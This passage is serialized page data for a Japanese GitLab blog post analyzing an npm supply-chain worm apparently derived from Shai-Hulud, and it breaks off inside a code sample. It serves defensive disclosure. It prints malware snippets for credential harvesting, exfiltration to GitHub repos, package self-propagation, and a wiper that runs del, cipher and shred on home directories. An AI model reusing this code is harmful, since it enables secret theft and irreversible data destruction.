[{"data":1,"prerenderedAt":2756},["ShallowReactive",2],{"/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-ja-jp":1963,"banner-ja-jp":2393,"footer-ja-jp":2401,"blog-post-authors-ja-jp-Michael Henriksen|Daniel Abeles":2643,"blog-related-posts-ja-jp-gitlab-discovers-widespread-npm-supply-chain-attack":2670,"blog-promotions-ja-jp":2694,"next-steps-ja-jp":2747},{"id":4,"title":5,"authors":6,"body":9,"category":1943,"date":1944,"description":1945,"extension":1946,"externalUrl":1947,"faq":1947,"featured":204,"heroImage":1948,"meta":1949,"navigation":204,"path":1950,"seo":1951,"slug":1955,"stem":1956,"tags":1957,"template":1960,"updatedDate":1961,"__hash__":1962},"blogPosts/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack.md","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[7,8],"Michael Henriksen","Daniel Abeles",{"type":10,"value":11,"toc":1930},"minimark",[12,23,31,36,40,43,61,64,68,75,79,91,253,262,265,268,306,435,438,441,648,651,906,909,912,936,1214,1216,1219,1226,1661,1664,1667,1670,1836,1840,1843,1872,1875,1892,1905,1908,1914,1917,1920,1923,1926],[13,14,15,16,22],"p",{},"GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「",[17,18,21],"a",{"href":19,"rel":20},"https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem",[],"Shai-Hulud","」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。",[13,24,25,26,30],{},"初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「",[27,28,29],"strong",{},"デッドマンスイッチ","」メカニズムが含まれていることが判明しました。",[13,32,33],{},[27,34,35],{},"GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。",[37,38,39],"h2",{"id":39},"攻撃の内部",[13,41,42],{},"当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。",[44,45,46,50,53,56],"ul",{},[47,48,49],"li",{},"GitHub、npm、AWS、GCP、Azureから認証情報を収集",[47,51,52],{},"盗まれたデータを攻撃者が管理するGitHubリポジトリに流出",[47,54,55],{},"被害者が所有する他のパッケージを自動的に感染させることで伝播",[47,57,58],{},[27,59,60],{},"マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む",[13,62,63],{},"複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。",[37,65,67],{"id":66},"技術的分析攻撃の展開プロセス","技術的分析:攻撃の展開プロセス",[13,69,70],{},[71,72],"img",{"alt":73,"src":74},"攻撃の展開プロセスを示すMermaidチャート","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png",[76,77,78],"h3",{"id":78},"初期感染ベクトル",[13,80,81,82,86,87,90],{},"マルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、",[83,84,85],"code",{},"setup_bun.js","を参照するpreinstallスクリプトを含む、変更された",[83,88,89],{},"package.json","が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。",[92,93,98],"pre",{"className":94,"code":95,"language":96,"meta":97,"style":97},"language-javascript shiki shiki-themes github-light","// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n","javascript","",[83,99,100,109,134,150,156,178,187,199,206,221,226,232,247],{"__ignoreMap":97},[101,102,105],"span",{"class":103,"line":104},"line",1,[101,106,108],{"class":107},"sAwPA","// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n",[101,110,112,116,120,123,126,129,131],{"class":103,"line":111},2,[101,113,115],{"class":114},"sgsFI","#",[101,117,119],{"class":118},"sD7c4","!/",[101,121,122],{"class":114},"usr",[101,124,125],{"class":118},"/",[101,127,128],{"class":114},"bin",[101,130,125],{"class":118},[101,132,133],{"class":114},"env node\n",[101,135,137,140,143,147],{"class":103,"line":136},3,[101,138,139],{"class":118},"async",[101,141,142],{"class":118}," function",[101,144,146],{"class":145},"s7eDp"," downloadAndSetupBun",[101,148,149],{"class":114},"() {\n",[101,151,153],{"class":103,"line":152},4,[101,154,155],{"class":107},"  // bunをダウンロードしてインストールします\n",[101,157,159,162,165,168,171,174],{"class":103,"line":158},5,[101,160,161],{"class":118},"  let",[101,163,164],{"class":114}," command ",[101,166,167],{"class":118},"=",[101,169,170],{"class":114}," process.platform ",[101,172,173],{"class":118},"===",[101,175,177],{"class":176},"sYBdl"," 'win32'\n",[101,179,181,184],{"class":103,"line":180},6,[101,182,183],{"class":118},"    ?",[101,185,186],{"class":176}," 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n",[101,188,190,193,196],{"class":103,"line":189},7,[101,191,192],{"class":118},"    :",[101,194,195],{"class":176}," 'curl -fsSL https://bun.sh/install | bash'",[101,197,198],{"class":114},";\n",[101,200,202],{"class":103,"line":201},8,[101,203,205],{"emptyLinePlaceholder":204},true,"\n",[101,207,209,212,215,218],{"class":103,"line":208},9,[101,210,211],{"class":145},"  execSync",[101,213,214],{"class":114},"(command, { stdio: ",[101,216,217],{"class":176},"'ignore'",[101,219,220],{"class":114}," });\n",[101,222,224],{"class":103,"line":223},10,[101,225,205],{"emptyLinePlaceholder":204},[101,227,229],{"class":103,"line":228},11,[101,230,231],{"class":107},"  // 実際のマルウェアを実行します\n",[101,233,235,238,241,244],{"class":103,"line":234},12,[101,236,237],{"class":145},"  runExecutable",[101,239,240],{"class":114},"(bunPath, [",[101,242,243],{"class":176},"'bun_environment.js'",[101,245,246],{"class":114},"]);\n",[101,248,250],{"class":103,"line":249},13,[101,251,252],{"class":114},"}\n",[13,254,255,257,258,261],{},[83,256,85],{},"ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた",[83,259,260],{},"bun_environment.js","ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。",[76,263,264],{"id":264},"認証情報の収集",[13,266,267],{},"実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。",[44,269,270,284,290,300],{},[47,271,272,275,276,279,280,283],{},[27,273,274],{},"GitHubトークン",":環境変数とGitHub CLI構成を検索し、",[83,277,278],{},"ghp_","(GitHub個人アクセストークン)または",[83,281,282],{},"gho_","(GitHub OAuthトークン)で始まるトークンを探します",[47,285,286,289],{},[27,287,288],{},"クラウド認証情報",":公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します",[47,291,292,295,296,299],{},[27,293,294],{},"npmトークン",":",[83,297,298],{},".npmrc","ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です",[47,301,302,305],{},[27,303,304],{},"ファイルシステムスキャン",":正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します",[92,307,309],{"className":94,"code":308,"language":96,"meta":97,"style":97},"async function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n",[83,310,311,322,340,353,357,362,388,392,397,416,431],{"__ignoreMap":97},[101,312,313,315,317,320],{"class":103,"line":104},[101,314,139],{"class":118},[101,316,142],{"class":118},[101,318,319],{"class":145}," scanFilesystem",[101,321,149],{"class":114},[101,323,324,326,329,331,334,337],{"class":103,"line":111},[101,325,161],{"class":118},[101,327,328],{"class":114}," scanner ",[101,330,167],{"class":118},[101,332,333],{"class":118}," new",[101,335,336],{"class":145}," Trufflehog",[101,338,339],{"class":114},"();\n",[101,341,342,345,348,351],{"class":103,"line":136},[101,343,344],{"class":118},"  await",[101,346,347],{"class":114}," scanner.",[101,349,350],{"class":145},"initialize",[101,352,339],{"class":114},[101,354,355],{"class":103,"line":152},[101,356,205],{"emptyLinePlaceholder":204},[101,358,359],{"class":103,"line":158},[101,360,361],{"class":107},"  // ユーザーのホームディレクトリでシークレットをスキャンします\n",[101,363,364,366,369,371,374,376,379,382,385],{"class":103,"line":180},[101,365,161],{"class":118},[101,367,368],{"class":114}," findings ",[101,370,167],{"class":118},[101,372,373],{"class":118}," await",[101,375,347],{"class":114},[101,377,378],{"class":145},"scanFilesystem",[101,380,381],{"class":114},"(os.",[101,383,384],{"class":145},"homedir",[101,386,387],{"class":114},"());\n",[101,389,390],{"class":103,"line":189},[101,391,205],{"emptyLinePlaceholder":204},[101,393,394],{"class":103,"line":201},[101,395,396],{"class":107},"  // 検出結果を流出用リポジトリにアップロードします\n",[101,398,399,401,404,407,410,413],{"class":103,"line":208},[101,400,344],{"class":118},[101,402,403],{"class":114}," github.",[101,405,406],{"class":145},"saveContents",[101,408,409],{"class":114},"(",[101,411,412],{"class":176},"\"truffleSecrets.json\"",[101,414,415],{"class":114},",\n",[101,417,418,422,425,428],{"class":103,"line":223},[101,419,421],{"class":420},"sYu0t","    JSON",[101,423,424],{"class":114},".",[101,426,427],{"class":145},"stringify",[101,429,430],{"class":114},"(findings));\n",[101,432,433],{"class":103,"line":228},[101,434,252],{"class":114},[76,436,437],{"id":437},"データ流出ネットワーク",[13,439,440],{},"マルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。",[92,442,444],{"className":94,"code":443,"language":96,"meta":97,"style":97},"async function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n",[83,445,446,464,469,492,497,511,521,530,538,543,547,552,573,596,602,608,623,629,634,643],{"__ignoreMap":97},[101,447,448,450,452,455,457,461],{"class":103,"line":104},[101,449,139],{"class":118},[101,451,142],{"class":118},[101,453,454],{"class":145}," createRepo",[101,456,409],{"class":114},[101,458,460],{"class":459},"sqxcx","name",[101,462,463],{"class":114},") {\n",[101,465,466],{"class":103,"line":111},[101,467,468],{"class":107},"  // 特定の説明マーカーを持つリポジトリを作成します\n",[101,470,471,473,476,478,480,483,486,489],{"class":103,"line":136},[101,472,161],{"class":118},[101,474,475],{"class":114}," repo ",[101,477,167],{"class":118},[101,479,373],{"class":118},[101,481,482],{"class":420}," this",[101,484,485],{"class":114},".octokit.repos.",[101,487,488],{"class":145},"createForAuthenticatedUser",[101,490,491],{"class":114},"({\n",[101,493,494],{"class":103,"line":152},[101,495,496],{"class":114},"    name: name,\n",[101,498,499,502,505,508],{"class":103,"line":158},[101,500,501],{"class":114},"    description: ",[101,503,504],{"class":176},"\"Sha1-Hulud: The Second Coming.\"",[101,506,507],{"class":114},", ",[101,509,510],{"class":107},"// 後でリポジトリを見つけるためのマーカー\n",[101,512,513,516,519],{"class":103,"line":180},[101,514,515],{"class":114},"    private: ",[101,517,518],{"class":420},"false",[101,520,415],{"class":114},[101,522,523,526,528],{"class":103,"line":189},[101,524,525],{"class":114},"    auto_init: ",[101,527,518],{"class":420},[101,529,415],{"class":114},[101,531,532,535],{"class":103,"line":201},[101,533,534],{"class":114},"    has_discussions: ",[101,536,537],{"class":420},"true\n",[101,539,540],{"class":103,"line":208},[101,541,542],{"class":114},"  });\n",[101,544,545],{"class":103,"line":223},[101,546,205],{"emptyLinePlaceholder":204},[101,548,549],{"class":103,"line":228},[101,550,551],{"class":107},"  // 永続性のためにGitHub Actions Runnerをインストールします\n",[101,553,554,557,560,563,565,567,570],{"class":103,"line":234},[101,555,556],{"class":118},"  if",[101,558,559],{"class":114}," (",[101,561,562],{"class":118},"await",[101,564,482],{"class":420},[101,566,424],{"class":114},[101,568,569],{"class":145},"checkWorkflowScope",[101,571,572],{"class":114},"()) {\n",[101,574,575,578,581,583,585,587,590,593],{"class":103,"line":249},[101,576,577],{"class":118},"    let",[101,579,580],{"class":114}," token ",[101,582,167],{"class":118},[101,584,373],{"class":118},[101,586,482],{"class":420},[101,588,589],{"class":114},".octokit.",[101,591,592],{"class":145},"request",[101,594,595],{"class":114},"(\n",[101,597,599],{"class":103,"line":598},14,[101,600,601],{"class":176},"      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n",[101,603,605],{"class":103,"line":604},15,[101,606,607],{"class":114},"    );\n",[101,609,611,614,617,620],{"class":103,"line":610},16,[101,612,613],{"class":118},"    await",[101,615,616],{"class":145}," installRunner",[101,618,619],{"class":114},"(token); ",[101,621,622],{"class":107},"// セルフホストRunnerをインストールします\n",[101,624,626],{"class":103,"line":625},17,[101,627,628],{"class":114},"  }\n",[101,630,632],{"class":103,"line":631},18,[101,633,205],{"emptyLinePlaceholder":204},[101,635,637,640],{"class":103,"line":636},19,[101,638,639],{"class":118},"  return",[101,641,642],{"class":114}," repo;\n",[101,644,646],{"class":103,"line":645},20,[101,647,252],{"class":114},[13,649,650],{},"重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。",[92,652,654],{"className":94,"code":653,"language":96,"meta":97,"style":97},"// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n",[83,655,656,661,671,676,697,707,715,719,723,728,746,762,787,791,795,832,843,847,866,877,882,887,901],{"__ignoreMap":97},[101,657,658],{"class":103,"line":104},[101,659,660],{"class":107},"// マルウェアネットワークがトークンを共有する方法:\n",[101,662,663,666,669],{"class":103,"line":111},[101,664,665],{"class":114},"async ",[101,667,668],{"class":145},"fetchToken",[101,670,149],{"class":114},[101,672,673],{"class":103,"line":136},[101,674,675],{"class":107},"  // 識別マーカーを持つリポジトリをGitHubで検索します\n",[101,677,678,680,683,685,687,689,692,695],{"class":103,"line":152},[101,679,161],{"class":118},[101,681,682],{"class":114}," results ",[101,684,167],{"class":118},[101,686,373],{"class":118},[101,688,482],{"class":420},[101,690,691],{"class":114},".octokit.search.",[101,693,694],{"class":145},"repos",[101,696,491],{"class":114},[101,698,699,702,705],{"class":103,"line":158},[101,700,701],{"class":114},"    q: ",[101,703,704],{"class":176},"'\"Sha1-Hulud: The Second Coming.\"'",[101,706,415],{"class":114},[101,708,709,712],{"class":103,"line":180},[101,710,711],{"class":114},"    sort: ",[101,713,714],{"class":176},"\"updated\"\n",[101,716,717],{"class":103,"line":189},[101,718,542],{"class":114},[101,720,721],{"class":103,"line":201},[101,722,205],{"emptyLinePlaceholder":204},[101,724,725],{"class":103,"line":208},[101,726,727],{"class":107},"  // 侵害されたリポジトリからトークンを取得しようとします\n",[101,729,730,733,735,738,740,743],{"class":103,"line":223},[101,731,732],{"class":118},"  for",[101,734,559],{"class":114},[101,736,737],{"class":118},"let",[101,739,475],{"class":114},[101,741,742],{"class":118},"of",[101,744,745],{"class":114}," results) {\n",[101,747,748,750,753,755,757,760],{"class":103,"line":228},[101,749,577],{"class":118},[101,751,752],{"class":114}," contents ",[101,754,167],{"class":118},[101,756,373],{"class":118},[101,758,759],{"class":145}," fetch",[101,761,595],{"class":114},[101,763,764,767,770,772,775,778,780,782,784],{"class":103,"line":234},[101,765,766],{"class":176},"      `https://raw.githubusercontent.com/${",[101,768,769],{"class":114},"repo",[101,771,424],{"class":176},[101,773,774],{"class":114},"owner",[101,776,777],{"class":176},"}/${",[101,779,769],{"class":114},[101,781,424],{"class":176},[101,783,460],{"class":114},[101,785,786],{"class":176},"}/main/contents.json`\n",[101,788,789],{"class":103,"line":249},[101,790,607],{"class":114},[101,792,793],{"class":103,"line":598},[101,794,205],{"emptyLinePlaceholder":204},[101,796,797,799,802,804,807,809,812,815,818,821,824,827,830],{"class":103,"line":604},[101,798,577],{"class":118},[101,800,801],{"class":114}," data ",[101,803,167],{"class":118},[101,805,806],{"class":420}," JSON",[101,808,424],{"class":114},[101,810,811],{"class":145},"parse",[101,813,814],{"class":114},"(Buffer.",[101,816,817],{"class":145},"from",[101,819,820],{"class":114},"(contents, ",[101,822,823],{"class":176},"'base64'",[101,825,826],{"class":114},").",[101,828,829],{"class":145},"toString",[101,831,387],{"class":114},[101,833,834,836,838,840],{"class":103,"line":610},[101,835,577],{"class":118},[101,837,580],{"class":114},[101,839,167],{"class":118},[101,841,842],{"class":114}," data?.modules?.github?.token;\n",[101,844,845],{"class":103,"line":625},[101,846,205],{"emptyLinePlaceholder":204},[101,848,849,852,855,858,860,863],{"class":103,"line":631},[101,850,851],{"class":118},"    if",[101,853,854],{"class":114}," (token ",[101,856,857],{"class":118},"&&",[101,859,373],{"class":118},[101,861,862],{"class":145}," validateToken",[101,864,865],{"class":114},"(token)) {\n",[101,867,868,871,874],{"class":103,"line":636},[101,869,870],{"class":118},"      return",[101,872,873],{"class":114}," token;  ",[101,875,876],{"class":107},"// 別の感染したシステムのトークンを使用します\n",[101,878,879],{"class":103,"line":645},[101,880,881],{"class":114},"    }\n",[101,883,885],{"class":103,"line":884},21,[101,886,628],{"class":114},[101,888,890,892,895,898],{"class":103,"line":889},22,[101,891,639],{"class":118},[101,893,894],{"class":420}," null",[101,896,897],{"class":114},";  ",[101,899,900],{"class":107},"// ネットワーク内に有効なトークンが見つかりませんでした\n",[101,902,904],{"class":103,"line":903},23,[101,905,252],{"class":114},[76,907,908],{"id":908},"サプライチェーン伝播",[13,910,911],{},"盗まれたnpmトークンを使用して、マルウェアは次のことを行います。",[913,914,915,918,924,930,933],"ol",{},[47,916,917],{},"被害者が保守するすべてのパッケージをダウンロード",[47,919,920,921,923],{},"各パッケージのpreinstallスクリプトに",[83,922,85],{},"ローダーを注入",[47,925,926,927,929],{},"悪意のある",[83,928,260],{},"ペイロードをバンドル",[47,931,932],{},"パッケージのバージョン番号をインクリメント",[47,934,935],{},"感染したパッケージをnpmに再公開",[92,937,939],{"className":94,"code":938,"language":96,"meta":97,"style":97},"async function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n",[83,940,941,957,962,978,982,987,1017,1021,1026,1038,1042,1047,1075,1112,1132,1136,1141,1160,1164,1169,1195,1206,1210],{"__ignoreMap":97},[101,942,943,945,947,950,952,955],{"class":103,"line":104},[101,944,139],{"class":118},[101,946,142],{"class":118},[101,948,949],{"class":145}," updatePackage",[101,951,409],{"class":114},[101,953,954],{"class":459},"packageInfo",[101,956,463],{"class":114},[101,958,959],{"class":103,"line":111},[101,960,961],{"class":107},"  // 元のパッケージをダウンロードします\n",[101,963,964,966,969,971,973,975],{"class":103,"line":136},[101,965,161],{"class":118},[101,967,968],{"class":114}," tarball ",[101,970,167],{"class":118},[101,972,373],{"class":118},[101,974,759],{"class":145},[101,976,977],{"class":114},"(packageInfo.tarballUrl);\n",[101,979,980],{"class":103,"line":152},[101,981,205],{"emptyLinePlaceholder":204},[101,983,984],{"class":103,"line":158},[101,985,986],{"class":107},"  // package.jsonを抽出して変更します\n",[101,988,989,991,994,996,998,1000,1002,1004,1006,1009,1011,1014],{"class":103,"line":180},[101,990,161],{"class":118},[101,992,993],{"class":114}," packageJson ",[101,995,167],{"class":118},[101,997,806],{"class":420},[101,999,424],{"class":114},[101,1001,811],{"class":145},[101,1003,409],{"class":114},[101,1005,562],{"class":118},[101,1007,1008],{"class":145}," readFile",[101,1010,409],{"class":114},[101,1012,1013],{"class":176},"\"package.json\"",[101,1015,1016],{"class":114},"));\n",[101,1018,1019],{"class":103,"line":189},[101,1020,205],{"emptyLinePlaceholder":204},[101,1022,1023],{"class":103,"line":201},[101,1024,1025],{"class":107},"  // 悪意のあるpreinstallスクリプトを追加します\n",[101,1027,1028,1031,1033,1036],{"class":103,"line":208},[101,1029,1030],{"class":114},"  packageJson.scripts.preinstall ",[101,1032,167],{"class":118},[101,1034,1035],{"class":176}," \"node setup_bun.js\"",[101,1037,198],{"class":114},[101,1039,1040],{"class":103,"line":223},[101,1041,205],{"emptyLinePlaceholder":204},[101,1043,1044],{"class":103,"line":228},[101,1045,1046],{"class":107},"  // バージョンをインクリメントします\n",[101,1048,1049,1051,1054,1056,1059,1062,1064,1067,1069,1072],{"class":103,"line":234},[101,1050,161],{"class":118},[101,1052,1053],{"class":114}," version ",[101,1055,167],{"class":118},[101,1057,1058],{"class":114}," packageJson.version.",[101,1060,1061],{"class":145},"split",[101,1063,409],{"class":114},[101,1065,1066],{"class":176},"\".\"",[101,1068,826],{"class":114},[101,1070,1071],{"class":145},"map",[101,1073,1074],{"class":114},"(Number);\n",[101,1076,1077,1080,1083,1086,1088,1091,1093,1095,1098,1101,1104,1107,1110],{"class":103,"line":249},[101,1078,1079],{"class":114},"  version[",[101,1081,1082],{"class":420},"2",[101,1084,1085],{"class":114},"] ",[101,1087,167],{"class":118},[101,1089,1090],{"class":114}," (version[",[101,1092,1082],{"class":420},[101,1094,1085],{"class":114},[101,1096,1097],{"class":118},"||",[101,1099,1100],{"class":420}," 0",[101,1102,1103],{"class":114},") ",[101,1105,1106],{"class":118},"+",[101,1108,1109],{"class":420}," 1",[101,1111,198],{"class":114},[101,1113,1114,1117,1119,1122,1125,1127,1129],{"class":103,"line":598},[101,1115,1116],{"class":114},"  packageJson.version ",[101,1118,167],{"class":118},[101,1120,1121],{"class":114}," version.",[101,1123,1124],{"class":145},"join",[101,1126,409],{"class":114},[101,1128,1066],{"class":176},[101,1130,1131],{"class":114},");\n",[101,1133,1134],{"class":103,"line":604},[101,1135,205],{"emptyLinePlaceholder":204},[101,1137,1138],{"class":103,"line":610},[101,1139,1140],{"class":107},"  // バックドアインストーラーをバンドルします\n",[101,1142,1143,1145,1148,1150,1153,1155,1158],{"class":103,"line":625},[101,1144,344],{"class":118},[101,1146,1147],{"class":145}," writeFile",[101,1149,409],{"class":114},[101,1151,1152],{"class":176},"\"setup_bun.js\"",[101,1154,507],{"class":114},[101,1156,1157],{"class":420},"BACKDOOR_CODE",[101,1159,1131],{"class":114},[101,1161,1162],{"class":103,"line":631},[101,1163,205],{"emptyLinePlaceholder":204},[101,1165,1166],{"class":103,"line":636},[101,1167,1168],{"class":107},"  // 再パッケージ化して公開します\n",[101,1170,1171,1173,1176,1179,1182,1185,1188,1190,1193],{"class":103,"line":645},[101,1172,344],{"class":118},[101,1174,1175],{"class":114}," Bun.",[101,1177,1178],{"class":145},"$",[101,1180,1181],{"class":176},"`npm publish ${",[101,1183,1184],{"class":114},"modifiedPackage",[101,1186,1187],{"class":176},"}`",[101,1189,424],{"class":114},[101,1191,1192],{"class":145},"env",[101,1194,491],{"class":114},[101,1196,1197,1200,1203],{"class":103,"line":884},[101,1198,1199],{"class":114},"    NPM_CONFIG_TOKEN: ",[101,1201,1202],{"class":420},"this",[101,1204,1205],{"class":114},".token\n",[101,1207,1208],{"class":103,"line":889},[101,1209,542],{"class":114},[101,1211,1212],{"class":103,"line":903},[101,1213,252],{"class":114},[37,1215,29],{"id":29},[13,1217,1218],{},"当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。",[13,1220,1221,1222,1225],{},"マルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、",[83,1223,1224],{},"shred","を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。",[92,1227,1229],{"className":94,"code":1228,"language":96,"meta":97,"style":97},"// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n",[83,1230,1231,1236,1247,1263,1288,1292,1297,1327,1349,1353,1367,1375,1380,1391,1402,1407,1422,1437,1442,1463,1482,1508,1516,1521,1531,1537,1556,1584,1596,1613,1618,1624,1640,1646,1651,1656],{"__ignoreMap":97},[101,1232,1233],{"class":103,"line":104},[101,1234,1235],{"class":107},"// 重要:トークンの検証失敗が破壊をトリガーします\n",[101,1237,1238,1240,1242,1245],{"class":103,"line":111},[101,1239,139],{"class":118},[101,1241,142],{"class":118},[101,1243,1244],{"class":145}," aL0",[101,1246,149],{"class":114},[101,1248,1249,1251,1254,1256,1258,1261],{"class":103,"line":136},[101,1250,161],{"class":118},[101,1252,1253],{"class":114}," githubApi ",[101,1255,167],{"class":118},[101,1257,333],{"class":118},[101,1259,1260],{"class":145}," dq",[101,1262,339],{"class":114},[101,1264,1265,1267,1270,1272,1275,1278,1281,1283,1286],{"class":103,"line":152},[101,1266,161],{"class":118},[101,1268,1269],{"class":114}," npmToken ",[101,1271,167],{"class":118},[101,1273,1274],{"class":114}," process.env.",[101,1276,1277],{"class":420},"NPM_TOKEN",[101,1279,1280],{"class":118}," ||",[101,1282,373],{"class":118},[101,1284,1285],{"class":145}," findNpmToken",[101,1287,339],{"class":114},[101,1289,1290],{"class":103,"line":158},[101,1291,205],{"emptyLinePlaceholder":204},[101,1293,1294],{"class":103,"line":180},[101,1295,1296],{"class":107},"  // 